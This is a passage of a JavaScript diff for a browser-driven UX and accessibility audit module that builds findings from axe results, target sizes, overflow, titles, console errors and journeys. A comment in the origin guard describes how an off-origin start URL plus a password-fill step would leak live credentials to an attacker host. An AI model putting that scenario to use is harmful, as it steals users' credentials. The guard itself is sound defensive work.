const ruleId = String(violation?.id ?? '').trim();
|
|
446
|
+
if (ruleId.length === 0) continue;
|
|
447
|
+
const severity = severityForAxeImpact(violation?.impact);
|
|
448
|
+
const nodes = Array.isArray(violation?.nodes) && violation.nodes.length > 0 ? violation.nodes : [{ target: [':root'] }];
|
|
449
|
+
for (const node of nodes) {
|
|
450
|
+
const selector = flattenTarget(node?.target) || ':root';
|
|
451
|
+
findings.push(
|
|
452
|
+
makeFinding({
|
|
453
|
+
checkId: `axe-${ruleId}`,
|
|
454
|
+
locator: viewportLocator(route, viewport, selector),
|
|
455
|
+
severity,
|
|
456
|
+
build,
|
|
457
|
+
message: String(violation?.help ?? `axe rule ${ruleId} violated`),
|
|
458
|
+
evidence: { ...(evidence ?? {}), impact: violation?.impact ?? null, helpUrl: violation?.helpUrl ?? null },
|
|
459
|
+
}),
|
|
460
|
+
);
|
|
461
|
+
}
|
|
462
|
+
}
|
|
463
|
+
return findings;
|
|
464
|
+
}
|
|
465
|
+
|
|
466
|
+
/**
|
|
467
|
+
* Target-size findings from the `measures.mjs` TARGET_SIZE_EVAL payload.
|
|
468
|
+
*
|
|
469
|
+
* The eval answers a plain OBJECT `{targets, scanned, truncated}` (measured
|
|
470
|
+
* against the real browser 2026-09-12) — `targets` holding only the
|
|
471
|
+
* non-compliant boxes. A bare ARRAY is accepted too, so a caller that already
|
|
472
|
+
* projected `.targets` keeps working. `truncated: true` means the scan hit its
|
|
473
|
+
* cap, which is stamped onto every finding of that page: a truncated scan is a
|
|
474
|
+
* population statement, and a finding derived from one must say so.
|
|
475
|
+
*
|
|
476
|
+
* @param {{targets: Array, scanned?: number, truncated?: boolean}|Array<{selector: string, width: number, height: number}>} targets
|
|
477
|
+
* @param {{route: string, viewport: string, build: string, evidence?: object,
|
|
478
|
+
* classify?: (box: {width: number, height: number}) => ('floor'|'target'|null)}} ctx
|
|
479
|
+
* `classify` defaults to `measures.mjs` `classifyTargetSize` once `collect()`
|
|
480
|
+
* has loaded it — the thresholds live there and are NOT duplicated here.
|
|
481
|
+
* @returns {object[]} findings
|
|
482
|
+
* @throws {CollectError} code `measures-unavailable` when no classifier is reachable
|
|
483
|
+
*/
|
|
484
|
+
export function findingsFromTargets(targets, { route, viewport, build, evidence, classify } = {}) {
|
|
485
|
+
const classifier = classify ?? classifyTargetSizeRef;
|
|
486
|
+
if (typeof classifier !== 'function') {
|
|
487
|
+
throw new CollectError(
|
|
488
|
+
'measures-unavailable',
|
|
489
|
+
'findingsFromTargets: pass `classify` (measures.mjs classifyTargetSize) — thresholds are not duplicated here',
|
|
490
|
+
);
|
|
491
|
+
}
|
|
492
|
+
const list = Array.isArray(targets) ? targets : Array.isArray(targets?.targets) ? targets.targets : [];
|
|
493
|
+
const truncated = !Array.isArray(targets) && targets?.truncated === true;
|
|
494
|
+
const findings = [];
|
|
495
|
+
for (const box of list) {
|
|
496
|
+
const width = Number(box?.width);
|
|
497
|
+
const height = Number(box?.height);
|
|
498
|
+
if (!Number.isFinite(width) || !Number.isFinite(height)) continue;
|
|
499
|
+
const band = classifier({ width, height });
|
|
500
|
+
if (band !== 'floor' && band !== 'target') continue;
|
|
501
|
+
const checkId = band === 'floor' ? CHECK_IDS.TARGET_SIZE_FLOOR : CHECK_IDS.TARGET_SIZE_TARGET;
|
|
502
|
+
findings.push(
|
|
503
|
+
makeFinding({
|
|
504
|
+
checkId,
|
|
505
|
+
locator: viewportLocator(route, viewport, box?.selector ?? ''),
|
|
506
|
+
severity: SEVERITY_BY_CHECK[checkId],
|
|
507
|
+
build,
|
|
508
|
+
message: `interactive target measures ${width}×${height} CSS px`,
|
|
509
|
+
evidence: { ...(evidence ?? {}), width, height, ...(truncated ? { truncated: true } : {}) },
|
|
510
|
+
}),
|
|
511
|
+
);
|
|
512
|
+
}
|
|
513
|
+
return findings;
|
|
514
|
+
}
|
|
515
|
+
|
|
516
|
+
/**
|
|
517
|
+
* Horizontal-overflow finding, or `null` when the page fits. Locator selector
|
|
518
|
+
* is the literal `document` — the overflow is a property of the page, not of an
|
|
519
|
+
* element.
|
|
520
|
+
*
|
|
521
|
+
* The verdict is `measures.mjs` `hasHorizontalOverflow()`, which applies the
|
|
522
|
+
* `OVERFLOW_TOLERANCE_PX` (1 px) subpixel tolerance. This module used to
|
|
523
|
+
* re-implement a STRICTER comparison (`scrollWidth <= innerWidth` → clean), so
|
|
524
|
+
* a 1439.5 px container in a 1440 px viewport produced a finding here and none
|
|
525
|
+
* in the helper the rubric cites. One predicate, in the module that owns it.
|
|
526
|
+
*
|
|
527
|
+
* @param {{scrollWidth: number, innerWidth: number}} overflow - OVERFLOW_EVAL payload
|
|
528
|
+
* @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
|
|
529
|
+
* @returns {object|null}
|
|
530
|
+
*/
|
|
531
|
+
export function findingFromOverflow(overflow, { route, viewport, build, evidence } = {}) {
|
|
532
|
+
const scrollWidth = Number(overflow?.scrollWidth);
|
|
533
|
+
const innerWidth = Number(overflow?.innerWidth);
|
|
534
|
+
if (!hasHorizontalOverflow({ scrollWidth, innerWidth })) return null;
|
|
535
|
+
return makeFinding({
|
|
536
|
+
checkId: CHECK_IDS.HORIZONTAL_OVERFLOW,
|
|
537
|
+
locator: viewportLocator(route, viewport, 'document'),
|
|
538
|
+
severity: SEVERITY_BY_CHECK[CHECK_IDS.HORIZONTAL_OVERFLOW],
|
|
539
|
+
build,
|
|
540
|
+
message: `page scrolls horizontally: scrollWidth ${scrollWidth} > innerWidth ${innerWidth}`,
|
|
541
|
+
evidence: { ...(evidence ?? {}), scrollWidth, innerWidth },
|
|
542
|
+
});
|
|
543
|
+
}
|
|
544
|
+
|
|
545
|
+
/**
|
|
546
|
+
* Title-mismatch finding, or `null` when the title matches `title-pattern`
|
|
547
|
+
* (or when the route declares no pattern — an absent expectation is not a defect).
|
|
548
|
+
*
|
|
549
|
+
* @param {string} title - measured `document.title`
|
|
550
|
+
* @param {string|undefined} pattern - route `title-pattern` (a regular expression)
|
|
551
|
+
* @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
|
|
552
|
+
* @returns {object|null}
|
|
553
|
+
* @throws {CollectError} code `invalid-title-pattern` — a manifest defect. It can
|
|
554
|
+
* only be reached by a caller that skipped {@link assertTitlePatternsCompile};
|
|
555
|
+
* `collect()` validates every route pattern BEFORE it opens a browser, so a
|
|
556
|
+
* broken manifest never starts a run half-way.
|
|
557
|
+
*/
|
|
558
|
+
export function findingFromTitle(title, pattern, { route, viewport, build, evidence } = {}) {
|
|
559
|
+
const verdict = titleMatches(String(title ?? ''), pattern);
|
|
560
|
+
if (!verdict.ok) {
|
|
561
|
+
throw new CollectError('invalid-title-pattern', `route ${route}: title-pattern is not a valid regular expression`);
|
|
562
|
+
}
|
|
563
|
+
if (verdict.matched) return null;
|
|
564
|
+
const measured = String(title ?? '');
|
|
565
|
+
return makeFinding({
|
|
566
|
+
checkId: CHECK_IDS.TITLE_MISMATCH,
|
|
567
|
+
locator: viewportLocator(route, viewport, 'title'),
|
|
568
|
+
severity: SEVERITY_BY_CHECK[CHECK_IDS.TITLE_MISMATCH],
|
|
569
|
+
build,
|
|
570
|
+
message: `page title does not match title-pattern ${String(pattern)}`,
|
|
571
|
+
evidence: { ...(evidence ?? {}), title: measured },
|
|
572
|
+
});
|
|
573
|
+
}
|
|
574
|
+
|
|
575
|
+
/** Normalise the `errors --json` payload (array, `{errors: []}`, or `{count: n}`) into an array. */
|
|
576
|
+
function normalizeErrors(payload) {
|
|
577
|
+
if (Array.isArray(payload)) return payload;
|
|
578
|
+
if (payload && typeof payload === 'object') {
|
|
579
|
+
if (Array.isArray(payload.errors)) return payload.errors;
|
|
580
|
+
if (Array.isArray(payload.messages)) return payload.messages;
|
|
581
|
+
if (Number.isFinite(Number(payload.count))) return new Array(Number(payload.count)).fill({});
|
|
582
|
+
}
|
|
583
|
+
return [];
|
|
584
|
+
}
|
|
585
|
+
|
|
586
|
+
/**
|
|
587
|
+
* ONE `console-errors` finding per route × viewport when at least one page error
|
|
588
|
+
* was recorded (PRD § 2 S3: the check is "≥ 1 Fehler auf der Route", not one
|
|
589
|
+
* finding per error — otherwise a single broken script inflates the ledger).
|
|
590
|
+
*
|
|
591
|
+
* @param {*} errors - parsed `errors --json` payload
|
|
592
|
+
* @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
|
|
593
|
+
* @returns {object[]} zero or one finding
|
|
594
|
+
*/
|
|
595
|
+
export function findingsFromErrors(errors, { route, viewport, build, evidence } = {}) {
|
|
596
|
+
const list = normalizeErrors(errors);
|
|
597
|
+
if (list.length === 0) return [];
|
|
598
|
+
return [
|
|
599
|
+
makeFinding({
|
|
600
|
+
checkId: CHECK_IDS.CONSOLE_ERRORS,
|
|
601
|
+
locator: viewportLocator(route, viewport, 'console'),
|
|
602
|
+
severity: SEVERITY_BY_CHECK[CHECK_IDS.CONSOLE_ERRORS],
|
|
603
|
+
build,
|
|
604
|
+
message: `${list.length} page error(s) recorded on this route`,
|
|
605
|
+
evidence: { ...(evidence ?? {}), errorCount: list.length },
|
|
606
|
+
}),
|
|
607
|
+
];
|
|
608
|
+
}
|
|
609
|
+
|
|
610
|
+
/**
|
|
611
|
+
* Journey findings (PRD § 3 AC): `journey-failed` when `success` was never
|
|
612
|
+
* reached, otherwise `journey-step-count` when the journey needed more steps
|
|
613
|
+
* than `max-steps`. A journey that succeeded within budget yields none.
|
|
614
|
+
*
|
|
615
|
+
* @param {{name: string, viewport: string, stepsRun: number, maxSteps: number,
|
|
616
|
+
* success: boolean, build: string, evidence?: object}} ctx
|
|
617
|
+
* @returns {object[]}
|
|
618
|
+
*/
|
|
619
|
+
export function journeyFindings({ name, viewport, stepsRun, maxSteps, success, build, evidence } = {}) {
|
|
620
|
+
const locator = journeyLocator(viewport, name);
|
|
621
|
+
const steps = Number(stepsRun) || 0;
|
|
622
|
+
const budget = Number(maxSteps);
|
|
623
|
+
if (!success) {
|
|
624
|
+
return [
|
|
625
|
+
makeFinding({
|
|
626
|
+
checkId: CHECK_IDS.JOURNEY_FAILED,
|
|
627
|
+
locator,
|
|
628
|
+
severity: SEVERITY_BY_CHECK[CHECK_IDS.JOURNEY_FAILED],
|
|
629
|
+
build,
|
|
630
|
+
message: `journey did not reach its success condition after ${steps} step(s)`,
|
|
631
|
+
evidence: { ...(evidence ?? {}), stepsRun: steps, maxSteps: budget },
|
|
632
|
+
}),
|
|
633
|
+
];
|
|
634
|
+
}
|
|
635
|
+
if (Number.isFinite(budget) && steps > budget) {
|
|
636
|
+
return [
|
|
637
|
+
makeFinding({
|
|
638
|
+
checkId: CHECK_IDS.JOURNEY_STEP_COUNT,
|
|
639
|
+
locator,
|
|
640
|
+
severity: SEVERITY_BY_CHECK[CHECK_IDS.JOURNEY_STEP_COUNT],
|
|
641
|
+
build,
|
|
642
|
+
message: `journey reached success in ${steps} step(s), budget is ${budget}`,
|
|
643
|
+
evidence: { ...(evidence ?? {}), stepsRun: steps, maxSteps: budget },
|
|
644
|
+
}),
|
|
645
|
+
];
|
|
646
|
+
}
|
|
647
|
+
return [];
|
|
648
|
+
}
|
|
649
|
+
|
|
650
|
+
/** Lazily load `measures.mjs` (sibling module, written in the same wave) and cache its classifier. */
|
|
651
|
+
async function loadMeasures(injected) {
|
|
652
|
+
if (injected) {
|
|
653
|
+
measuresModule = injected;
|
|
654
|
+
classifyTargetSizeRef = injected.classifyTargetSize ?? classifyTargetSizeRef;
|
|
655
|
+
return injected;
|
|
656
|
+
}
|
|
657
|
+
if (measuresModule) return measuresModule;
|
|
658
|
+
measuresModule = await import('./measures.mjs');
|
|
659
|
+
classifyTargetSizeRef = measuresModule.classifyTargetSize ?? null;
|
|
660
|
+
return measuresModule;
|
|
661
|
+
}
|
|
662
|
+
|
|
663
|
+
/**
|
|
664
|
+
* Re-assert the loopback guards at the Stufe-1 entry point.
|
|
665
|
+
*
|
|
666
|
+
* `manifest.mjs` guards these at parse time; collect.mjs asserts them again
|
|
667
|
+
* because the AC names THIS module as the thing that must refuse to drive a
|
|
668
|
+
* browser against production, and a guard that depends on its caller having run
|
|
669
|
+
* another guard is not a guard (BV-002). No env VALUE is ever put in the message.
|
|
670
|
+
*
|
|
671
|
+
* Defence in depth means running the guard twice — never OWNING a second
|
|
672
|
+
* predicate: the two copies had already drifted (this one accepted `0.0.0.0`
|
|
673
|
+
* and `*.localhost`, `manifest.mjs` did not), so the predicates below are
|
|
674
|
+
* `manifest.mjs`'s, re-thrown as {@link CollectError} for this module's callers.
|
|
675
|
+
*
|
|
676
|
+
* @param {object} frontmatter
|
|
677
|
+
* @param {Map<string,string>} envMap
|
|
678
|
+
*/
|
|
679
|
+
function assertLoopback(frontmatter, envMap) {
|
|
680
|
+
try {
|
|
681
|
+
assertLoopbackBaseUrl(frontmatter);
|
|
682
|
+
assertGuardedEnvsLoopback(frontmatter, envMap);
|
|
683
|
+
} catch (error) {
|
|
684
|
+
if (error?.name === 'ManifestError') throw new CollectError(error.code, error.message);
|
|
685
|
+
throw error;
|
|
686
|
+
}
|
|
687
|
+
}
|
|
688
|
+
|
|
689
|
+
/**
|
|
690
|
+
* Resolve a manifest-supplied location against `base-url` and REQUIRE the same
|
|
691
|
+
* origin.
|
|
692
|
+
*
|
|
693
|
+
* "Is it loopback?" is not enough: `http://127.0.0.1:9999` is loopback and is
|
|
694
|
+
* still a different application — and an absolute `start:` on an attacker host
|
|
695
|
+
* plus a `fill #pw ${LOGIN_PASSWORD}` step would type the live credential into
|
|
696
|
+
* that page. Origin equality is the only predicate that keeps the run inside
|
|
697
|
+
* the app the manifest declares.
|
|
698
|
+
*
|
|
699
|
+
* The message never carries the resolved URL: it may hold a query string or
|
|
700
|
+
* embedded credentials, and this module's contract is that nothing secret
|
|
701
|
+
* reaches a message, a log line or an artefact.
|
|
702
|
+
*
|
|
703
|
+
* @param {string} baseUrl - already normalised (no trailing slash)
|
|
704
|
+
* @param {unknown} value - a route `path` or a journey `start`
|
|
705
|
+
* @param {{code: string, subject: string}} ctx - `subject` names the manifest
|
|
706
|
+
* entry (route path or `journey <name>`), never the URL
|
|
707
|
+
* @returns {string} the absolute, same-origin URL to open
|
|
708
|
+
* @throws {CollectError} with `ctx.code`
|
|
709
|
+
*/
|
|
710
|
+
function resolveWithinOrigin(baseUrl, value, { code, subject }) {
|
|
711
|
+
const base = new URL(baseUrl);
|
|
712
|
+
let resolved;
|
|
713
|
+
try {
|
|
714
|
+
resolved = new URL(String(value ?? ''), base);
|
|
715
|
+
} catch {
|
|
716
|
+
throw new CollectError(code, `${subject} is not a resolvable location`);
|
|
717
|
+
}
|
|
718
|
+
if (resolved.origin !== base.origin) {
|
|
719
|
+
throw new CollectError(code, `${subject} resolves outside the base-url origin — refusing to drive a foreign app`);
|
|
720
|
+
}
|
|
721
|
+
return resolved.toString();
|
|
722
|
+
}
|
|
723
|
+
|
|
724
|
+
/** Parse a `WxH` viewport string into `[width, height]`, or `null` when malformed. */
|
|
725
|
+
function parseViewport(value) {
|
|
726
|
+
const match = /^\s*(\d+)\s*[xX×]\s*(\d+)\s*$/.exec(String(value ?? ''));
|
|
727
|
+
return match ? [Number(match[1]), Number(match[2])] : null;
|
|
728
|
+
}
|
|
729
|
+
|
|
730
|
+
/** `makeRunRecord` rejects unknown skip reasons, so every skip goes through this shape. */
|
|
731
|
+
function skipEntry(what, reason) {
|
|
732
|
+
return { what, reason };
|
|
733
|
+
}
|
|
734
|
+
|
|
735
|
+
/**
|
|
736
|
+
* Run Stufe 1 end to end.
|
|
737
|
+
*
|
|
738
|
+
* @param {object} opts
|
|
739
|
+
* @param {string} opts.repoRoot - absolute repo root of the TARGET repo
|
|
740
|
+
* @param {{frontmatter: object, manifestHash: string}} opts.manifest - as returned by `manifest.mjs` `loadManifest()`
|
|
741
|
+
* @param {Map<string,string>} [opts.envMap] - resolved env-file map from `loadManifest()`
|
|
742
|
+
* (VALUES; never written anywhere). MUST be a `Map` — the same type `manifest.mjs` uses.
|
|
743
|
+
* @param {string} opts.rubricHash - hash of `skills/ux-grill/rubric-v2.md`
|
|
744
|
+
* @param {(args: string[], opts?: object) => Promise<{stdout: string, stderr: string, code: number}>} [opts.exec]
|
|
745
|
+
* @param {string} [opts.runId]
|
|
746
|
+
* @param {() => Date} [opts.now] - clock seam for the run-record timestamp
|
|
747
|
+
* @param {object} [opts.measures] - injected `measures.mjs` namespace (tests); defaults to the real module
|
|
748
|
+
* @param {(persona: object, envMap: Map<string,string>) => {email: string, password: string}} [opts.resolveCredentials]
|
|
749
|
+
* defaults to `manifest.mjs` `resolvePersonaCredentials`, loaded lazily
|
|
750
|
+
* @returns {Promise<{runId: string, runDir: string, findings: object[], runRecord: object, skipped: object[]}>}
|
|
751
|
+
* @throws {CollectError} on a precondition failure, or when the FIRST route of the
|
|
752
|
+
* FIRST viewport cannot be opened (`base-url-unreachable` — the app is not running)
|
|
753
|
+
*/
|
|
754
|
+
export async function collect({
|
|
755
|
+
repoRoot,
|
|
756
|
+
manifest,
|
|
757
|
+
envMap = new Map(),
|
|
758
|
+
rubricHash,
|
|
759
|
+
exec = defaultExec,
|
|
760
|
+
runId = makeRunId(),
|
|
761
|
+
now = () => new Date(),
|
|
762
|
+
measures = null,
|
|
763
|
+
resolveCredentials = null,
|
|
764
|
+
} = {}) {
|
|
765
|
+
if (typeof repoRoot !== 'string' || repoRoot.length === 0) {
|
|
766
|
+
throw new CollectError('invalid-args', 'collect: repoRoot must be a non-empty string');
|
|
767
|
+
}
|
|
768
|
+
if (typeof rubricHash !== 'string' || rubricHash.length === 0) {
|
|
769
|
+
throw new CollectError('invalid-args', 'collect: rubricHash must be a non-empty string');
|
|
770
|
+
}
|
|
771
|
+
const frontmatter = manifest?.frontmatter;
|
|
772
|
+
const manifestHash = manifest?.manifestHash;
|
|
773
|
+
if (!frontmatter || typeof frontmatter !== 'object' || typeof manifestHash !== 'string' || manifestHash.length === 0) {
|
|
774
|
+
throw new CollectError('invalid-manifest', 'collect: manifest must carry {frontmatter, manifestHash} from loadManifest()');
|
|
775
|
+
}
|
|
776
|
+
const build = frontmatter.build;
|
|
777
|
+
if (build !== 'dev' && build !== 'prod') {
|
|
778
|
+
throw new CollectError('invalid-manifest', `collect: manifest build must be 'dev' or 'prod', got ${String(build)}`);
|
|
779
|
+
}
|
|
780
|
+
if (!(envMap instanceof Map)) {
|
|
781
|
+
throw new TypeError('collect: envMap must be a Map (loadManifest() returns one)');
|
|
782
|
+
}
|
|
783
|
+
assertLoopback(frontmatter, envMap);
|
|
784
|
+
|
|
785
|
+
const measuresNs = await loadMeasures(measures);
|
|
786
|
+
const baseUrl = String(frontmatter['base-url']).replace(/\/+$/, '');
|
|
787
|
+
const viewports = Array.isArray(frontmatter.viewports) ? frontmatter.viewports : [];
|
|
788
|
+
const routes = Array.isArray(frontmatter.routes) ? frontmatter.routes : [];
|
|
789
|
+
const journeys = Array.isArray(frontmatter.journeys) ? frontmatter.journeys : [];
|
|
790
|
+
const personas = Array.isArray(frontmatter.personas) ? frontmatter.personas : [];
|
|
791
|
+
|
|
792
|
+
// Every manifest DEFECT is decided here, before a browser exists: a run that
|
|
793
|
+
// dies half-way has already written artefacts and appended nothing to the
|
|
794
|
+
// ledger, which is the worst of both outcomes.
|
|
795
|
+
const routeUrls = new Map();
|
|
796
|
+
for (const viewport of viewports) {
|
|
797
|
+
const name = String(viewport?.name ?? '');
|
|
798
|
+
if (name.trim().length === 0) {
|
|
799
|
+
throw new CollectError('invalid-viewport', 'every viewports[] entry needs a non-empty name');
|
|
800
|
+
}
|
|
801
|
+
}
|
|
802
|
+
for (const route of routes) {
|
|
803
|
+
const routePath = String(route?.path ?? '/');
|
|
804
|
+
routeUrls.set(route, resolveWithinOrigin(baseUrl, routePath, {
|
|
805
|
+
code: 'route-path-off-origin',
|
|
806
|
+
subject: `route ${routePath}`,
|
|
807
|
+
}));
|
|
808
|
+
const verdict = titleMatches('', route?.['title-pattern']);
|
|
809
|
+
if (!verdict.ok) {
|
|
810
|
+
throw new CollectError('invalid-title-pattern', `route ${routePath}: title-pattern is not a valid regular expression`);
|
|
811
|
+
}
|
|
812
|
+
}
|
|
813
|
+
const journeyUrls = new Map();
|
|
814
|
+
for (const journey of journeys) {
|
|
815
|
+
const name = String(journey?.name ?? 'journey');
|
|
816
|
+
journeyUrls.set(journey, resolveWithinOrigin(baseUrl, journey?.start ?? '/', {
|
|
817
|
+
code: 'journey-start-off-origin',
|
|
818
|
+
subject: `journey ${name}`,
|
|
819
|
+
}));
|
|
820
|
+
for (const line of Array.isArray(journey?.steps) ? journey.steps : []) {
|
|
821
|
+
assertStepArgv(splitStepLine(line), { baseUrl });
|
|
822
|
+
}
|
|
823
|
+
}
|
|
824
|
+
|
|
825
|
+
const runDir = runDirPath(repoRoot, runId);
|
|
826
|
+
const shotsDir = screenshotsDir(repoRoot, runId);
|
|
827
|
+
const aDir = axeDir(repoRoot, runId);
|
|
828
|
+
const mDir = measuresDir(repoRoot, runId);
|
|
829
|
+
for (const dir of [runDir, shotsDir, aDir, mDir]) fs.mkdirSync(dir, { recursive: true });
|
|
830
|
+
|
|
831
|
+
const session = await resolveSession(exec, repoRoot, runId);
|
|
832
|
+
const findings = [];
|
|
833
|
+
const skipped = [];
|
|
834
|
+
const ranViewports = [];
|
|
835
|
+
const ranRoutes = new Set();
|
|
836
|
+
let isFirstOpen = true;
|
|
837
|
+
|
|
838
|
+
const run = (args) => exec([...args, '--session', session]);
|
|
839
|
+
const relative = (absolute) => path.relative(runDir, absolute);
|
|
840
|
+
|
|
841
|
+
try {
|
|
842
|
+
for (const viewport of viewports) {
|
|
843
|
+
const vpName = String(viewport?.name ?? 'viewport');
|
|
844
|
+
const applied = await applyViewport(run, viewport, measuresNs);
|
|
845
|
+
if (!applied.ok) {
|
|
846
|
+
skipped.push(
|
|
847
|
+
applied.reason === 'measure-failed'
|
|
848
|
+
? skipEntry(`viewport:${vpName}|eval:viewport-width`, SKIP_REASONS.MEASURE_FAILED)
|
|
849
|
+
: skipEntry(`viewport:${vpName}`, SKIP_REASONS.DEVICE_MISMATCH),
|
|
850
|
+
);
|
|
851
|
+
continue;
|
|
852
|
+
}
|
|
853
|
+
ranViewports.push(vpName);
|
|
854
|
+
|
|
855
|
+
for (const route of routes) {
|
|
856
|
+
const routePath = String(route?.path ?? '/');
|
|
857
|
+
// Clear BEFORE opening so the buffer holds only THIS route's errors;
|
|
858
|
+
// read AFTER the measurements so anything the measuring evals trigger is
|
|
859
|
+
// still attributed to the route that produced it.
|
|
860
|
+
await run(['errors', '--clear']);
|
|
861
|
+
const opened = await run(['open', routeUrls.get(route)]);
|
|
862
|
+
if (opened.code !== 0) {
|
|
863
|
+
if (isFirstOpen) {
|
|
864
|
+
throw new CollectError('base-url-unreachable', `cannot open route ${routePath} — is the build running?`);
|
|
865
|
+
}
|
|
866
|
+
skipped.push(skipEntry(`route:${routePath}|${vpName}`, SKIP_REASONS.ROUTE_UNREACHABLE));
|
|
867
|
+
continue;
|
|
868
|
+
}
|
|
869
|
+
isFirstOpen = false;
|
|
870
|
+
ranRoutes.add(routePath);
|
|
871
|
+
|
|
872
|
+
const stem = artefactStem({ route: routePath, viewport: vpName });
|
|
873
|
+
/** A measurement that did not happen is a SKIP, never a silent zero. */
|
|
874
|
+
const measureFailed = (call) => {
|
|
875
|
+
skipped.push(skipEntry(`${routePath}|${vpName}|${call}`, SKIP_REASONS.MEASURE_FAILED));
|
|
876
|
+
};
|
|
877
|
+
|
|
878
|
+
const titleRead = readCommandPayload(await run(['get', 'title', '--json']));
|
|
879
|
+
if (!titleRead.ok) measureFailed('get:title');
|
|
880
|
+
const title = titleRead.ok ? readTitle(titleRead.value) : '';
|
|
881
|
+
|
|
882
|
+
const axeResult = await run(['a11y', '--tags', 'wcag2a,wcag2aa', '--json']);
|
|
883
|
+
const axePath = path.join(aDir, `${stem}.json`);
|
|
884
|
+
fs.writeFileSync(axePath, axeResult.stdout, 'utf8');
|
|
885
|
+
const axeRead = readCommandPayload(axeResult);
|
|
886
|
+
if (!axeRead.ok) measureFailed('a11y');
|
|
887
|
+
|
|
888
|
+
const targetsRead = await evalJson(run, measuresNs.TARGET_SIZE_EVAL);
|
|
889
|
+
if (!targetsRead.ok) measureFailed('eval:target-size');
|
|
890
|
+
const targets = targetsRead.ok ? targetsRead.value : null;
|
|
891
|
+
const overflowRead = await evalJson(run, measuresNs.OVERFLOW_EVAL);
|
|
892
|
+
if (!overflowRead.ok) measureFailed('eval:overflow');
|
|
893
|
+
const overflow = overflowRead.ok ? overflowRead.value : null;
|
|
894
|
+
const errorsRead = readCommandPayload(await run(['errors', '--json']));
|
|
895
|
+
if (!errorsRead.ok) measureFailed('errors');
|
|
896
|
+
|
|
897
|
+
const measurePath = path.join(mDir, `${stem}.json`);
|
|
898
|
+
fs.writeFileSync(measurePath, `${JSON.stringify({ route: routePath, viewport: vpName, title, targets, overflow }, null, 2)}\n`, 'utf8');
|
|
899
|
+
|
|
900
|
+
const fullShot = path.join(shotsDir, `${screenshotName({ route: routePath, viewport: vpName, variant: 'full' })}.png`);
|
|
901
|
+
const foldShot = path.join(shotsDir, `${screenshotName({ route: routePath, viewport: vpName, variant: 'fold' })}.png`);
|
|
902
|
+
await run(['screenshot', fullShot, '--full']);
|
|
903
|
+
await run(['screenshot', foldShot]);
|
|
904
|
+
|
|
905
|
+
const evidence = {
|
|
906
|
+
screenshotFull: relative(fullShot),
|
|
907
|
+
screenshotFold: relative(foldShot),
|
|
908
|
+
axe: relative(axePath),
|
|
909
|
+
measures: relative(measurePath),
|
|
910
|
+
};
|
|
911
|
+
const ctx = { route: routePath, viewport: vpName, build, evidence };
|
|
912
|
+
if (axeRead.ok) findings.push(...findingsFromAxe(axeRead.value, ctx));
|
|
913
|
+
if (targetsRead.ok) {
|
|
914
|
+
findings.push(...findingsFromTargets(targets, { ...ctx, classify: measuresNs.classifyTargetSize }));
|
|
915
|
+
}
|
|
916
|
+
if (overflowRead.ok) {
|
|
917
|
+
const overflowFinding = findingFromOverflow(overflow, ctx);
|
|
918
|
+
if (overflowFinding) findings.push(overflowFinding);
|
|
919
|
+
}
|
|
920
|
+
if (titleRead.ok) {
|
|
921
|
+
const titleFinding = findingFromTitle(title, route?.['title-pattern'], ctx);
|
|
922
|
+
if (titleFinding) findings.push(titleFinding);
|
|
923
|
+
}
|
|
924
|
+
if (errorsRead.ok) findings.push(...findingsFromErrors(errorsRead.value, ctx));
|
|
925
|
+
}
|
|
926
|
+
|
|
927
|
+
for (const journey of journeys) {
|
|
928
|
+
const outcome = await runJourney({
|
|
929
|
+
run,
|
|
930
|
+
journey,
|
|
931
|
+
viewportName: vpName,
|
|
932
|
+
startUrl: journeyUrls.get(journey),
|
|
933
|
+
baseUrl,
|
|
934
|
+
build,
|
|
935
|
+
personas,
|
|
936
|
+
envMap,
|
|
937
|
+
shotsDir,
|
|
938
|
+
relative,
|
|
939
|
+
resolveCredentials,
|
|
940
|
+
});
|
|
941
|
+
findings.push(...outcome.findings);
|
|
942
|
+
if (outcome.skipped) skipped.push(outcome.skipped);
|
|
943
|
+
}
|
|
944
|
+
}
|
|
945
|
+
} finally {
|
|
946
|
+
await exec(['close', '--session', session]);
|
|
947
|
+
}
|
|
948
|
+
|
|
949
|
+
findings.sort((a, b) => (a.fingerprint < b.fingerprint ? -1 : a.fingerprint > b.fingerprint ? 1 : 0));
|
|
950
|
+
fs.writeFileSync(
|
|
951
|
+
findingsPath(repoRoot, runId),
|
|
952
|
+
findings.map((finding) => JSON.stringify(finding)).join('\n') + (findings.length > 0 ? '\n' : ''),
|
|
953
|
+
'utf8',
|
|
954
|
+
);
|
|
955
|
+
|
|
956
|
+
const runRecord = makeRunRecord({
|
|
957
|
+
runId,
|
|
958
|
+
manifestHash,
|
|
959
|
+
rubricHash,
|
|
960
|
+
build,
|
|
961
|
+
timestamp: now().toISOString(),
|
|
962
|
+
viewports: ranViewports,
|
|
963
|
+
routes: [...ranRoutes],
|
|
964
|
+
findings,
|
|
965
|
+
skipped,
|
|
966
|
+
});
|
|
967
|
+
// `run-record.mjs` is the ONLY writer of the ledger (its docblock says so);
|
|
968
|
+
// it re-validates through `makeRunRecord` and owns the mkdir. No cycle: that
|
|
969
|
+
// module imports `./paths.mjs` + `./schema.mjs` only.
|
|
970
|
+
appendRunRecord(repoRoot, runRecord);
|
|
971
|
+
|
|
972
|
+
return { runId, runDir, findings, runRecord, skipped };
|
|
973
|
+
}
|
|
974
|
+
|
|
975
|
+
/** Ask the daemon for a worktree-scoped session name; fall back to the deterministic one. */
|
|
976
|
+
async function resolveSession(exec, repoRoot, runId) {
|
|
977
|
+
const probe = await exec(['session', 'id', '--scope', 'worktree', '--prefix', 'uxgrill']);
|
|
978
|
+
const raw = String(probe.stdout ?? '').trim().split('\n').pop()?.trim() ?? '';
|
|
979
|
+
if (probe.code !== 0 || raw.length === 0) return sessionName(repoRoot, runId);
|
|
980
|
+
const sanitized = raw.replace(/[^A-Za-z0-9._-]/g, '-');
|
|
981
|
+
return sanitized.startsWith('uxgrill') ? sanitized : `uxgrill-${sanitized}`;
|
|
982
|
+
}
|
|
983
|
+
|
|
984
|
+
/** `get title --json` may answer a bare string or `{title: "..."}`. */
|
|
985
|
+
function readTitle(payload) {
|
|
986
|
+
if (payload && typeof payload === 'object' && !Array.isArray(payload)) return String(payload.title ?? '');
|
|
987
|
+
return String(payload ?? '');
|
|
988
|
+
}
|
|
989
|
+
|
|
990
|
+
/** `get url --json` may answer a bare string or `{url: "..."}`. */
|
|
991
|
+
function readUrl(payload) {
|
|
992
|
+
